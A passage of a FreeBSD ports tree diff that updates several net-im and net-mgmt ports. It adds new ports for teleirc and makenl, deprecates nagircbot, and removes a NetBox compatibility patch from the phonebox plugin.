@@ -24,7 +24,7 @@ load_rc_config $name : ${dendrite_config:="%%PREFIX%%/etc/dendrite/dendrite.yaml"} command=/usr/sbin/daemon -procname=%%PREFIX%%/dendrite/bin/dendrite-monolith-server +procname=%%PREFIX%%/dendrite/bin/dendrite pidfile=/var/run/${name}.pid command_args="-p $pidfile -u dendrite -f $procname -config $dendrite_config" diff --git a/net-im/dendrite/pkg-plist b/net-im/dendrite/pkg-plist index bc2e7de44e9..ca50186547f 100644 --- a/net-im/dendrite/pkg-plist +++ b/net-im/dendrite/pkg-plist @@ -1,8 +1,7 @@ %%PORTNAME%%/bin/create-account +%%PORTNAME%%/bin/dendrite %%PORTNAME%%/bin/dendrite-demo-pinecone %%PORTNAME%%/bin/dendrite-demo-yggdrasil -%%PORTNAME%%/bin/dendrite-monolith-server -%%PORTNAME%%/bin/dendrite-polylith-multi %%PORTNAME%%/bin/dendrite-upgrade-tests %%PORTNAME%%/bin/furl %%PORTNAME%%/bin/generate-config diff --git a/net-im/mastodon/Makefile b/net-im/mastodon/Makefile index 9c7f0265541..51749f748ba 100644 --- a/net-im/mastodon/Makefile +++ b/net-im/mastodon/Makefile @@ -1,7 +1,7 @@ PORTNAME= mastodon DISTVERSIONPREFIX= v DISTVERSION= 4.1.2 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= net-im www MAINTAINER= bofh@FreeBSD.org diff --git a/net-im/pidgin-latex/Makefile b/net-im/pidgin-latex/Makefile index 60c67d5c452..5f0f7ac193c 100644 --- a/net-im/pidgin-latex/Makefile +++ b/net-im/pidgin-latex/Makefile @@ -1,6 +1,6 @@ PORTNAME= latex PORTVERSION= 1.0 -PORTREVISION= 12 +PORTREVISION= 13 CATEGORIES= net-im MASTER_SITES= SF/pidgin-${PORTNAME}/pidgin-${PORTNAME}/${PORTVERSION} PKGNAMEPREFIX= pidgin- diff --git a/net-im/purple-discord/Makefile b/net-im/purple-discord/Makefile index 31d80c29f66..e70538146a3 100644 --- a/net-im/purple-discord/Makefile +++ b/net-im/purple-discord/Makefile @@ -1,6 +1,6 @@ PORTNAME= purple-discord PORTVERSION= g20210729 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= net-im MAINTAINER= bofh@FreeBSD.org diff --git a/net-im/py-slack-sdk/Makefile b/net-im/py-slack-sdk/Makefile index 56d0a1b0e00..a7ec0892739 100644 --- a/net-im/py-slack-sdk/Makefile +++ b/net-im/py-slack-sdk/Makefile @@ -1,5 +1,5 @@ PORTNAME= slack-sdk -PORTVERSION= 3.21.2 +PORTVERSION= 3.21.3 DISTVERSIONPREFIX= v CATEGORIES= net-im python PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/net-im/py-slack-sdk/distinfo b/net-im/py-slack-sdk/distinfo index 5b046bed841..f6c8a1fdb0e 100644 --- a/net-im/py-slack-sdk/distinfo +++ b/net-im/py-slack-sdk/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681924852 -SHA256 (slackapi-python-slack-sdk-v3.21.2_GH0.tar.gz) = 3d82904bbf8afbbb7a7e1a442f1801a17c0ab2b6835f2dd52c26a50c59b552f2 -SIZE (slackapi-python-slack-sdk-v3.21.2_GH0.tar.gz) = 4106228 +TIMESTAMP = 1682786591 +SHA256 (slackapi-python-slack-sdk-v3.21.3_GH0.tar.gz) = b8da8aa774deff9586fedc6d7d6b8ce83e949b0989f35b9adc6f85f3d0ecf677 +SIZE (slackapi-python-slack-sdk-v3.21.3_GH0.tar.gz) = 4106456 diff --git a/net-im/qxmpp-qt5/Makefile b/net-im/qxmpp-qt5/Makefile index 56efdcddb8e..82186ef2edd 100644 --- a/net-im/qxmpp-qt5/Makefile +++ b/net-im/qxmpp-qt5/Makefile @@ -1,6 +1,6 @@ PORTNAME= qxmpp DISTVERSIONPREFIX= v -DISTVERSION= 1.5.4 +DISTVERSION= 1.5.5 CATEGORIES= net-im MAINTAINER= kde@FreeBSD.org @@ -13,7 +13,7 @@ LICENSE_FILE= ${WRKSRC}/LICENSES/LGPL-2.1-or-later.txt LIB_DEPENDS= libomemo-c.so:security/libomemo-c USES= cmake compiler:c++17-lang libtool pathfix pkgconfig qca qt:5 -USE_QT= core gui network xml \ +USE_QT= core gui network xml \ buildtools:build qmake:build testlib:build CMAKE_ARGS= -DQT_VERSION_MAJOR=5 CMAKE_ON= BUILD_OMEMO diff --git a/net-im/qxmpp-qt5/distinfo b/net-im/qxmpp-qt5/distinfo index ec4943120cd..bdc5fa31ba3 100644 --- a/net-im/qxmpp-qt5/distinfo +++ b/net-im/qxmpp-qt5/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681627231 -SHA256 (qxmpp-project-qxmpp-v1.5.4_GH0.tar.gz) = e437fdb91aa52c6fd8ca3f922354eb3221df98146ec99ee92e70e20a82c7ad2d -SIZE (qxmpp-project-qxmpp-v1.5.4_GH0.tar.gz) = 606287 +TIMESTAMP = 1682976457 +SHA256 (qxmpp-project-qxmpp-v1.5.5_GH0.tar.gz) = b25fba89432c4fd72489d1844f683bfbf4e5aa4cfcfda7a982d6019f8e4529f8 +SIZE (qxmpp-project-qxmpp-v1.5.5_GH0.tar.gz) = 606405 diff --git a/net-im/teleirc/Makefile b/net-im/teleirc/Makefile new file mode 100644 index 00000000000..5bfcba24792 --- /dev/null +++ b/net-im/teleirc/Makefile @@ -0,0 +1,48 @@ +PORTNAME= teleirc +DISTVERSIONPREFIX= v +DISTVERSION= 2.3.0 +CATEGORIES= net-im + +MAINTAINER= DtxdF@disroot.org +COMMENT= Telegram/IRC bridge for use with any IRC channel and Telegram group +WWW= https://teleirc.com/ + +LICENSE= GPLv3 +LICENSE_FILE= ${WRKSRC}/LICENSE.txt + +USES= go:modules + +USE_GITHUB= yes +GH_ACCOUNT= ritlug + +GH_TUPLE= caarlos0:env:v6.0.0:caarlos0_env_v6/vendor/github.com/caarlos0/env/v6 \ + davecgh:go-spew:v1.1.0:davecgh_go_spew/vendor/github.com/davecgh/go-spew \ + go-playground:assert:v1.2.1:go_playground_assert/vendor/gopkg.in/go-playground/assert.v1 \ + go-playground:locales:v0.12.1:go_playground_locales/vendor/github.com/go-playground/locales \ + go-playground:universal-translator:v0.16.0:go_playground_universal_translator/vendor/github.com/go-playground/universal-translator \ + go-playground:validator:v9.29.1:go_playground_validator/vendor/github.com/go-playground/validator \ + go-telegram-bot-api:telegram-bot-api:v4.6.4:go_telegram_bot_api_telegram_bot_api/vendor/github.com/go-telegram-bot-api/telegram-bot-api \ + golang:mock:v1.4.3:golang_mock/vendor/github.com/golang/mock \ + joho:godotenv:v1.3.0:joho_godotenv/vendor/github.com/joho/godotenv \ + kyokomi:emoji:v2.1.0:kyokomi_emoji/vendor/github.com/kyokomi/emoji \ + leodido:go-urn:v1.1.0:leodido_go_urn/vendor/github.com/leodido/go-urn \ + lrstanley:girc:4fc93959e1a7:lrstanley_girc/vendor/github.com/lrstanley/girc \ + pmezard:go-difflib:v1.0.0:pmezard_go_difflib/vendor/github.com/pmezard/go-difflib \ + stretchr:testify:v1.3.0:stretchr_testify/vendor/github.com/stretchr/testify \ + technoweenie:multipartstreamer:v1.0.1:technoweenie_multipartstreamer/vendor/github.com/technoweenie/multipartstreamer +USE_RC_SUBR= teleirc + +GO_TARGET= ./cmd/teleirc.go:teleirc +GO_BUILDFLAGS= -ldflags "-X main.version=${PORTVERSION}" + +USERS= teleirc +GROUPS= teleirc + +PLIST_SUB= GROUP="${GROUPS:[0]}" \ + USER="${USERS:[0]}" + +post-install: + @${MKDIR} ${STAGEDIR}/${PREFIX}/etc + @${CP} ${WRKSRC}/env.example ${STAGEDIR}/${PREFIX}/etc/teleirc.conf.sample + +.include diff --git a/net-im/teleirc/distinfo b/net-im/teleirc/distinfo new file mode 100644 index 00000000000..c271e72c433 --- /dev/null +++ b/net-im/teleirc/distinfo @@ -0,0 +1,33 @@ +TIMESTAMP = 1677376208 +SHA256 (ritlug-teleirc-v2.3.0_GH0.tar.gz) = 1fc695676d012083c6ce6f9b52718bd7139c9973197a76efccb283e38d704b1b +SIZE (ritlug-teleirc-v2.3.0_GH0.tar.gz) = 371844 +SHA256 (caarlos0-env-v6.0.0_GH0.tar.gz) = 1773dbb54a3734bda3c288050c8e37de50761855f1fccd785c37dc4d868182df +SIZE (caarlos0-env-v6.0.0_GH0.tar.gz) = 11237 +SHA256 (davecgh-go-spew-v1.1.0_GH0.tar.gz) = 1f7e0bd2db0341925b5f2ee5834e99380f4c2b1bd36cf0fa62d7717899d39d62 +SIZE (davecgh-go-spew-v1.1.0_GH0.tar.gz) = 42337 +SHA256 (go-playground-assert-v1.2.1_GH0.tar.gz) = 73c63ba9a0c07a1f0b8746a5c86705ca26ae11267d77a9babdd6d4073c1fa2ed +SIZE (go-playground-assert-v1.2.1_GH0.tar.gz) = 4163 +SHA256 (go-playground-locales-v0.12.1_GH0.tar.gz) = 03bc7bd40b953c01aa0be2f2d049f4cc83ba81d3aa4906298aebeb0fa3983ad0 +SIZE (go-playground-locales-v0.12.1_GH0.tar.gz) = 4225114 +SHA256 (go-playground-universal-translator-v0.16.0_GH0.tar.gz) = 478dfc8959c919d371d3218d8c5c380ef517e094a5e0990e23fdb6824b55158a +SIZE (go-playground-universal-translator-v0.16.0_GH0.tar.gz) = 36036 +SHA256 (go-playground-validator-v9.29.1_GH0.tar.gz) = 1b53988c7b0079869be75c2fd4acbb9d3e8c204751d620652329995878bb37b4 +SIZE (go-playground-validator-v9.29.1_GH0.tar.gz) = 133468 +SHA256 (go-telegram-bot-api-telegram-bot-api-v4.6.4_GH0.tar.gz) = bfdb23fda6da247305164d206c95532e1a0b0537a621ad337f74798852a81958 +SIZE (go-telegram-bot-api-telegram-bot-api-v4.6.4_GH0.tar.gz) = 2076453 +SHA256 (golang-mock-v1.4.3_GH0.tar.gz) = a5961e57823e449a7f1bd6c958628e4f5d167b7cd8b83b81c10b609f9f5591ce +SIZE (golang-mock-v1.4.3_GH0.tar.gz) = 55835 +SHA256 (joho-godotenv-v1.3.0_GH0.tar.gz) = 07beb0bae964dbe37442603a404196111dbbbaaa986fc179d5d5fdc46ed6a189 +SIZE (joho-godotenv-v1.3.0_GH0.tar.gz) = 9941 +SHA256 (kyokomi-emoji-v2.1.0_GH0.tar.gz) = ee2c17312cb796c7c54d1265a4fe3190c1a3c1defebcea614156420223120c8a +SIZE (kyokomi-emoji-v2.1.0_GH0.tar.gz) = 60122 +SHA256 (leodido-go-urn-v1.1.0_GH0.tar.gz) = a94e300521a1b6a1c86c0c5ad8778e8a71dd6a4dd965b63a14d8af107593e709 +SIZE (leodido-go-urn-v1.1.0_GH0.tar.gz) = 9295 +SHA256 (lrstanley-girc-4fc93959e1a7_GH0.tar.gz) = 2b688db043f780b8ac661ac165bd3a0da0cf80d4c5a5a4d92d171f9f6289006a +SIZE (lrstanley-girc-4fc93959e1a7_GH0.tar.gz) = 67961 +SHA256 (pmezard-go-difflib-v1.0.0_GH0.tar.gz) = 28f3dc1b5c0efd61203ab07233f774740d3bf08da4d8153fb5310db6cea0ebda +SIZE (pmezard-go-difflib-v1.0.0_GH0.tar.gz) = 11398 +SHA256 (stretchr-testify-v1.3.0_GH0.tar.gz) = 0cd9c199a72b8d80621624b37c0ed5ac724352d458506a31dfa86710551e7fc5 +SIZE (stretchr-testify-v1.3.0_GH0.tar.gz) = 102859 +SHA256 (technoweenie-multipartstreamer-v1.0.1_GH0.tar.gz) = 9247a9071eb90653e2b70efd6abd9bffbe7498b238c0f06d62d8b5096f7c31e6 +SIZE (technoweenie-multipartstreamer-v1.0.1_GH0.tar.gz) = 3246 diff --git a/net-im/teleirc/files/teleirc.in b/net-im/teleirc/files/teleirc.in new file mode 100644 index 00000000000..43b9b686c1b --- /dev/null +++ b/net-im/teleirc/files/teleirc.in @@ -0,0 +1,58 @@ +#!/bin/sh + +# PROVIDE: teleirc +# REQUIRE: LOGIN +# KEYWORD: shutdown +# +# Configuration settings for teleirc in /etc/rc.conf +# +# teleirc_enable (bool): Enable teleirc. (Default=NO) +# teleirc_conf (str): Teleirc configuration file. (Default=%%PREFIX%%/etc/teleirc.conf) +# teleirc_flags (str): Flags used for teleirc. (Default=-conf ${teleirc_conf}) +# teleirc_logfile (str): Log file used for teleirc. (Default=/var/log/teleirc.log) +# teleirc_program (str): Path to teleirc application. (Default=%%PREFIX%%/bin/teleirc) +# teleirc_username (str): User to run teleirc as. (Default=teleirc) +# teleirc_restart_delay_seconds (int): Supervise and restart teleirc after the specified delay if it +# has been terminated. (Default=30) + +. /etc/rc.subr + +name="teleirc" +desc="Bridge between IRC and Telegram" +rcvar="teleirc_enable" +start_cmd="teleirc_start" +restart_cmd="teleirc_restart" +procname=/usr/sbin/daemon + +load_rc_config $name + +: ${teleirc_enable:=NO} +: ${teleirc_conf:=%%PREFIX%%/etc/teleirc.conf} +: ${teleirc_flags=-conf "${teleirc_conf}"} +: ${teleirc_logfile:=/var/log/teleirc.log} +: ${teleirc_program:=%%PREFIX%%/bin/teleirc} +: ${teleirc_username:=teleirc} +: ${teleirc_restart_delay_seconds:=30} +: ${teleirc_pidfile:=/var/run/teleirc.pid} + +pidfile="${teleirc_pidfile}" + +teleirc_start() +{ + echo "Starting ${name}." && sleep 1 + ${procname} \ + -t "${desc}" \ + -R "${teleirc_restart_delay_seconds}" \ + -u "${teleirc_username}" \ + -o "${teleirc_logfile}" \ + -P "${pidfile}" \ + ${teleirc_program} ${teleirc_flags} +} + +teleirc_restart() +{ + run_rc_command stop && + run_rc_command start +} + +run_rc_command "$1" diff --git a/net-im/teleirc/pkg-descr b/net-im/teleirc/pkg-descr new file mode 100644 index 00000000000..1bc97b19f40 --- /dev/null +++ b/net-im/teleirc/pkg-descr @@ -0,0 +1,3 @@ +TeleIRC is a Go implementation of a Telegram <=> IRC bridge. TeleIRC +works with any IRC channel and Telegram group. It bridges messages +between a Telegram group and an IRC channel. diff --git a/net-im/teleirc/pkg-plist b/net-im/teleirc/pkg-plist new file mode 100644 index 00000000000..a610d7bb456 --- /dev/null +++ b/net-im/teleirc/pkg-plist @@ -0,0 +1,2 @@ +bin/teleirc +@sample(%%USER%%,%%GROUP%%,0640) etc/teleirc.conf.sample etc/teleirc.conf diff --git a/net-mgmt/Makefile b/net-mgmt/Makefile index 4fee41cab0b..d5478f14666 100644 --- a/net-mgmt/Makefile +++ b/net-mgmt/Makefile @@ -130,6 +130,7 @@ SUBDIR += libsmi SUBDIR += lldpd SUBDIR += mac-telnet + SUBDIR += makenl SUBDIR += mbrowse SUBDIR += mdata-client SUBDIR += metronome diff --git a/net-mgmt/librenms/Makefile b/net-mgmt/librenms/Makefile index 8dd0471dd15..500ae47a721 100644 --- a/net-mgmt/librenms/Makefile +++ b/net-mgmt/librenms/Makefile @@ -1,6 +1,6 @@ PORTNAME= librenms PORTVERSION= 23.4.0 -PORTREVISION= 1 +PORTREVISION= 2 PORTEPOCH= 1 CATEGORIES= net-mgmt MASTER_SITES= LOCAL/dvl:vendor diff --git a/net-mgmt/makenl/Makefile b/net-mgmt/makenl/Makefile new file mode 100644 index 00000000000..0bbe9860b15 --- /dev/null +++ b/net-mgmt/makenl/Makefile @@ -0,0 +1,24 @@ +PORTNAME= makenl +DISTVERSION= 3.5.1 +CATEGORIES= net-mgmt + +MAINTAINER= dz@dolik.dev +COMMENT= FidoNet NodeList Generator Program +WWW= https://github.com/zoomosis/makenl + +LICENSE= GPLv2 +LICENSE_FILE= ${WRKSRC}/docs/license.txt + +USES= cmake + +OPTIONS_DEFINE= DOCS EXAMPLES +OPTIONS_SUB= yes + +DOCS_CMAKE_BOOL= DOCS +EXAMPLES_CMAKE_BOOL= EXAMPLES + +USE_GITHUB= yes +GH_ACCOUNT= zoomosis +GH_TAGNAME= ab7babe + +.include diff --git a/net-mgmt/makenl/distinfo b/net-mgmt/makenl/distinfo new file mode 100644 index 00000000000..5daaa23af7a --- /dev/null +++ b/net-mgmt/makenl/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682698600 +SHA256 (zoomosis-makenl-3.5.1-ab7babe_GH0.tar.gz) = ac76e0748938cf2ea55eac608975255d84ad2e8fa526f331cdf7e5baf7d9d53f +SIZE (zoomosis-makenl-3.5.1-ab7babe_GH0.tar.gz) = 149643 diff --git a/net-mgmt/makenl/files/patch-CMakeLists.txt b/net-mgmt/makenl/files/patch-CMakeLists.txt new file mode 100644 index 00000000000..acf5641a4df --- /dev/null +++ b/net-mgmt/makenl/files/patch-CMakeLists.txt @@ -0,0 +1,18 @@ +--- CMakeLists.txt.orig 2023-02-05 22:03:01 UTC ++++ CMakeLists.txt +@@ -1,6 +1,13 @@ + PROJECT(makenl NONE) + CMAKE_MINIMUM_REQUIRED(VERSION 2.8...3.19) + ++option(DOCS "Install documentation" OFF) ++option(EXAMPLES "Install examples" OFF) ++ + ADD_SUBDIRECTORY(src) +-ADD_SUBDIRECTORY(docs) +-ADD_SUBDIRECTORY(examples) ++if(DOCS) ++ ADD_SUBDIRECTORY(docs) ++endif() ++if(EXAMPLES) ++ ADD_SUBDIRECTORY(examples) ++endif() diff --git a/net-mgmt/makenl/files/patch-docs_CMakeLists.txt b/net-mgmt/makenl/files/patch-docs_CMakeLists.txt new file mode 100644 index 00000000000..e5dbe4cdebc --- /dev/null +++ b/net-mgmt/makenl/files/patch-docs_CMakeLists.txt @@ -0,0 +1,41 @@ +--- docs/CMakeLists.txt.orig 2023-03-31 09:28:39 UTC ++++ docs/CMakeLists.txt +@@ -2,32 +2,7 @@ PROJECT(makenl-docs NONE) + CMAKE_MINIMUM_REQUIRED(VERSION 2.8...3.19) + + LIST(APPEND CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/Modules") +-INCLUDE(pandocology) + +-add_document( +- TARGET makenl_html +- SOURCES makenl.md +- OUTPUT_FILE makenl.html +- PANDOC_DIRECTIVES --self-contained --metadata pagetitle='MakeNL NODELIST Generator Program by Ben Baker' +- NO_EXPORT_PRODUCT +-) +- +-add_document( +- TARGET whatsnew_html +- SOURCES whatsnew.md +- OUTPUT_FILE whatsnew.html +- PANDOC_DIRECTIVES --self-contained --metadata pagetitle='MakeNL Revision History' +- NO_EXPORT_PRODUCT +-) +- +-add_document( +- TARGET readme_html +- SOURCES readme.md +- OUTPUT_FILE readme.html +- PANDOC_DIRECTIVES --self-contained --metadata pagetitle='MakeNL read me first' +- NO_EXPORT_PRODUCT +-) +- + SET(makenl_DOCS + makenl.md + readme.md +@@ -36,5 +11,4 @@ SET(makenl_DOCS + ) + + INSTALL(FILES ${makenl_DOCS} DESTINATION share/doc/makenl) +-INSTALL(FILES ${CMAKE_CURRENT_BINARY_DIR}/makenl.html DESTINATION share/doc/makenl) + INSTALL(FILES ${makenl_EXAMPLES} DESTINATION share/doc/makenl/examples) diff --git a/net-mgmt/makenl/pkg-descr b/net-mgmt/makenl/pkg-descr new file mode 100644 index 00000000000..69333baba51 --- /dev/null +++ b/net-mgmt/makenl/pkg-descr @@ -0,0 +1,5 @@ +MakeNL is an open-sourced version of MakeNL, the Fido/FTN nodelist +processing program. It is used to process Fido/FTN nodelists for +submission to coordinators and/or for creation of nodelist files for +distribution. It is a near drop-in replacement for an existing +installation of MakeNL. diff --git a/net-mgmt/makenl/pkg-plist b/net-mgmt/makenl/pkg-plist new file mode 100644 index 00000000000..04f40166873 --- /dev/null +++ b/net-mgmt/makenl/pkg-plist @@ -0,0 +1,16 @@ +bin/makenl +share/man/man1/makenl.1.gz +%%EXAMPLES%%%%DOCSDIR%%/examples/cpyright.txt +%%EXAMPLES%%%%DOCSDIR%%/examples/distrib.ctl +%%EXAMPLES%%%%DOCSDIR%%/examples/epilog.txt +%%EXAMPLES%%%%DOCSDIR%%/examples/hub.ctl +%%EXAMPLES%%%%DOCSDIR%%/examples/net-l.ctl +%%EXAMPLES%%%%DOCSDIR%%/examples/net-s.ctl +%%EXAMPLES%%%%DOCSDIR%%/examples/node.ctl +%%EXAMPLES%%%%DOCSDIR%%/examples/prolog.txt +%%EXAMPLES%%%%DOCSDIR%%/examples/regional.ctl +%%EXAMPLES%%%%DOCSDIR%%/examples/zone.ctl +%%PORTDOCS%%%%DOCSDIR%%/fts-5000.txt +%%PORTDOCS%%%%DOCSDIR%%/makenl.md +%%PORTDOCS%%%%DOCSDIR%%/readme.md +%%PORTDOCS%%%%DOCSDIR%%/whatsnew.md diff --git a/net-mgmt/nagircbot/Makefile b/net-mgmt/nagircbot/Makefile index 2874e5f43ce..d65bcf986fb 100644 --- a/net-mgmt/nagircbot/Makefile +++ b/net-mgmt/nagircbot/Makefile @@ -8,8 +8,9 @@ MAINTAINER= ports@FreeBSD.org COMMENT= IRC bot for Nagios WWW= http://www.vanheusden.com/nagircbot/ -BROKEN_FreeBSD_13= ld: error: duplicate symbol: pfh -BROKEN_FreeBSD_14= ld: error: duplicate symbol: pfh +DEPRECATED= Broken for more than a year and fails to build on all supported release +EXPIRATION_DATE= 2023-06-01 +BROKEN= ld: error: duplicate symbol: pfh USES= gmake ssl tar:tgz USE_RC_SUBR= nagircbot diff --git a/net-mgmt/netbox/Makefile b/net-mgmt/netbox/Makefile index ac7c8fa007b..0c9cf80e93b 100644 --- a/net-mgmt/netbox/Makefile +++ b/net-mgmt/netbox/Makefile @@ -1,7 +1,6 @@ PORTNAME= netbox DISTVERSIONPREFIX= v -DISTVERSION= 3.4.8 -PORTREVISION= 1 +DISTVERSION= 3.4.10 CATEGORIES= net-mgmt python MAINTAINER= kai@FreeBSD.org diff --git a/net-mgmt/netbox/distinfo b/net-mgmt/netbox/distinfo index 095e41a1f41..71f35602f68 100644 --- a/net-mgmt/netbox/distinfo +++ b/net-mgmt/netbox/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681389923 -SHA256 (netbox-community-netbox-v3.4.8_GH0.tar.gz) = 4c5becd12e29db54a3b7105ab1433635faadf553f7cb260d8c85c91af0ed3c96 -SIZE (netbox-community-netbox-v3.4.8_GH0.tar.gz) = 7408052 +TIMESTAMP = 1682759435 +SHA256 (netbox-community-netbox-v3.4.10_GH0.tar.gz) = 1b334caa0d1f7c65f58e969d33480c55d95ea8aa1a6986b7c25861a9fcd4bde8 +SIZE (netbox-community-netbox-v3.4.10_GH0.tar.gz) = 7413821 diff --git a/net-mgmt/netbox/pkg-plist b/net-mgmt/netbox/pkg-plist index 2934479be45..6788fab4a36 100644 --- a/net-mgmt/netbox/pkg-plist +++ b/net-mgmt/netbox/pkg-plist @@ -729,6 +729,7 @@ %%DATADIR%%/project-static/src/buttons/markdownPreview.ts %%DATADIR%%/project-static/src/buttons/moveOptions.ts %%DATADIR%%/project-static/src/buttons/reslug.ts +%%DATADIR%%/project-static/src/buttons/secretToggle.ts %%DATADIR%%/project-static/src/buttons/selectAll.ts %%DATADIR%%/project-static/src/buttons/selectMultiple.ts %%DATADIR%%/project-static/src/clipboard.ts @@ -764,6 +765,7 @@ %%DATADIR%%/project-static/src/stores/objectDepth.ts %%DATADIR%%/project-static/src/stores/previousPkCheck.ts %%DATADIR%%/project-static/src/stores/rackImages.ts +%%DATADIR%%/project-static/src/stores/secret.ts %%DATADIR%%/project-static/src/tableConfig.ts %%DATADIR%%/project-static/src/tables/index.ts %%DATADIR%%/project-static/src/tables/interfaceTable.ts diff --git a/net-mgmt/py-phonebox-plugin/Makefile b/net-mgmt/py-phonebox-plugin/Makefile index a7e22f06d40..de6f32cf63c 100644 --- a/net-mgmt/py-phonebox-plugin/Makefile +++ b/net-mgmt/py-phonebox-plugin/Makefile @@ -1,6 +1,5 @@ PORTNAME= phonebox-plugin -DISTVERSION= 0.0.4b1 -PORTREVISION= 1 +DISTVERSION= 0.0.5b1 CATEGORIES= net-mgmt python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/net-mgmt/py-phonebox-plugin/distinfo b/net-mgmt/py-phonebox-plugin/distinfo index 223494bd5e1..c00a23a6498 100644 --- a/net-mgmt/py-phonebox-plugin/distinfo +++ b/net-mgmt/py-phonebox-plugin/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1654793403 -SHA256 (phonebox_plugin-0.0.4b1.tar.gz) = 73a6cac57df8af9f69782e720b7c7336645464fe96af60d340b0854f05ec4bbb -SIZE (phonebox_plugin-0.0.4b1.tar.gz) = 19295 +TIMESTAMP = 1682785060 +SHA256 (phonebox_plugin-0.0.5b1.tar.gz) = 10e3e92cd7d44a800ce3705adaf26ee011b5b7857cdcfae1a1aa3f9b6daa3a4d +SIZE (phonebox_plugin-0.0.5b1.tar.gz) = 19037 diff --git a/net-mgmt/py-phonebox-plugin/files/patch-fix-runtime-with-netbox-3.3-and-later b/net-mgmt/py-phonebox-plugin/files/patch-fix-runtime-with-netbox-3.3-and-later deleted file mode 100644 index b04dd8661c7..00000000000 --- a/net-mgmt/py-phonebox-plugin/files/patch-fix-runtime-with-netbox-3.3-and-later +++ /dev/null @@ -1,187 +0,0 @@ -Fix runtime issues with NetBox 3.3+ - -See also: - -https://github.com/iDebugAll/phonebox_plugin/issues/27 -https://github.com/iDebugAll/phonebox_plugin/pull/28 - ---- MANIFEST.in.orig 2023-02-21 21:36:03 UTC -+++ MANIFEST.in -@@ -1,4 +1,5 @@ recursive-include phonebox_plugin/templates * - include README.md - include LICENSE - recursive-include phonebox_plugin/templates * -+recursive-exclude phonebox_plugin/templates *.orig .DS_Store - recursive-include phonebox_plugin/static * ---- phonebox_plugin/api/nested_serializers.py.orig 2021-09-21 14:31:12 UTC -+++ phonebox_plugin/api/nested_serializers.py -@@ -1,6 +1,12 @@ from phonebox_plugin import models - from rest_framework import serializers - from phonebox_plugin import models --from netbox.api import WritableNestedSerializer -+ -+try: -+ from netbox.api import ChoiceField, WritableNestedSerializer -+except ImportError: -+ from netbox.api.fields import ChoiceField -+ from netbox.api.serializers.nested import WritableNestedSerializer -+ - from tenancy.api.nested_serializers import NestedTenantSerializer - - __all__ = ["NestedNumberSerializer", ] ---- phonebox_plugin/templates/phonebox_plugin/list_view_3.4.html.orig 2023-02-21 21:32:23 UTC -+++ phonebox_plugin/templates/phonebox_plugin/list_view_3.4.html -@@ -0,0 +1,62 @@ -+{% extends 'base/layout.html' %} -+{% load buttons %} -+{% load static %} -+{% load plugins %} -+{% load helpers %} -+ -+ -+{% block controls %} -+ -+
-+ {% if perms.phonebox_plugin.add_number %} -+ -+ Add -+ -+ {% endif %} -+ {% if perms.phonebox_plugin.add_number %} -+ -+ Import -+ -+ {% endif %} -+
-+ -+{% endblock %} -+ -+ -+{% block content %} -+ -+ -+ -+
-+
-+ -+ {# Applied filters #} -+ {% if filter_form %} -+ {% applied_filters model filter_form request.GET %} -+ {% endif %} -+ -+

{% block title %}Numbers{% endblock %}

-+
-+
-+ {% include 'phonebox_plugin/obj_table.html' with bulk_delete_url="plugins:phonebox_plugin:number_bulk_delete" bulk_edit_url="plugins:phonebox_plugin:number_bulk_edit" %} -+
-+
-+
-+
-+ {% include 'inc/filter_list.html' %} -+
-+
-+ -+{% endblock %} ---- phonebox_plugin/templates/phonebox_plugin/voice_circuit_list_view_3.4.html.orig 2023-02-21 21:32:23 UTC -+++ phonebox_plugin/templates/phonebox_plugin/voice_circuit_list_view_3.4.html -@@ -0,0 +1,62 @@ -+{% extends 'base/layout.html' %} -+{% load buttons %} -+{% load static %} -+{% load plugins %} -+{% load helpers %} -+ -+ -+{% block controls %} -+ -+
-+ {% if perms.phonebox_plugin.add_voice_circuit %} -+ -+ Add -+ -+ {% endif %} -+ {% if perms.phonebox_plugin.add_voice_circuit %} -+ -+ Import -+ -+ {% endif %} -+
-+ -+{% endblock %} -+ -+ -+{% block content %} -+ -+ -+ -+
-+
-+ -+ {# Applied filters #} -+ {% if filter_form %} -+ {% applied_filters model filter_form request.GET %} -+ {% endif %} -+ -+

{% block title %}Voice Circuits{% endblock %}

-+
-+
-+ {% include 'phonebox_plugin/obj_table.html' with bulk_delete_url="plugins:phonebox_plugin:voice_circuit_bulk_delete" bulk_edit_url="plugins:phonebox_plugin:voice_circuit_bulk_edit" %} -+
-+
-+
-+
-+ {% include 'inc/filter_list.html' %} -+
-+
-+ -+{% endblock %} ---- phonebox_plugin/views.py.orig 2022-06-09 10:46:13 UTC -+++ phonebox_plugin/views.py -@@ -18,8 +18,10 @@ class NumberListView(generic.ObjectListView): - filterset = filters.NumberFilterSet - filterset_form = forms.NumberFilterForm - table = tables.NumberTable -- if NETBOX_CURRENT_VERSION >= version.parse("3.0"): -+ if NETBOX_CURRENT_VERSION >= version.parse("3.0") and NETBOX_CURRENT_VERSION < version.parse("3.4"): - template_name = "phonebox_plugin/list_view_3.x.html" -+ elif NETBOX_CURRENT_VERSION >= version.parse("3.4"): -+ template_name = "phonebox_plugin/list_view_3.4.html" - else: - template_name = "phonebox_plugin/list_view.html" - -@@ -76,8 +78,10 @@ class VoiceCircuitListView(generic.ObjectListView): - filterset = filters.VoiceCircuitFilterSet - filterset_form = forms.VoiceCircuitFilterForm - table = tables.VoiceCircuitTable -- if NETBOX_CURRENT_VERSION >= version.parse("3.0"): -+ if NETBOX_CURRENT_VERSION >= version.parse("3.0") and NETBOX_CURRENT_VERSION < version.parse("3.4"): - template_name = "phonebox_plugin/voice_circuit_list_view_3.x.html" -+ elif NETBOX_CURRENT_VERSION >= version.parse("3.4"): -+ template_name = "phonebox_plugin/voice_circuit_list_view_3.4.html" - else: - template_name = "phonebox_plugin/voice_circuit_list_view.html" - diff --git a/net-p2p/py-transmission-rpc/Makefile b/net-p2p/py-transmission-rpc/Makefile index 027345967a7..be64a666343 100644 --- a/net-p2p/py-transmission-rpc/Makefile +++ b/net-p2p/py-transmission-rpc/Makefile @@ -1,5 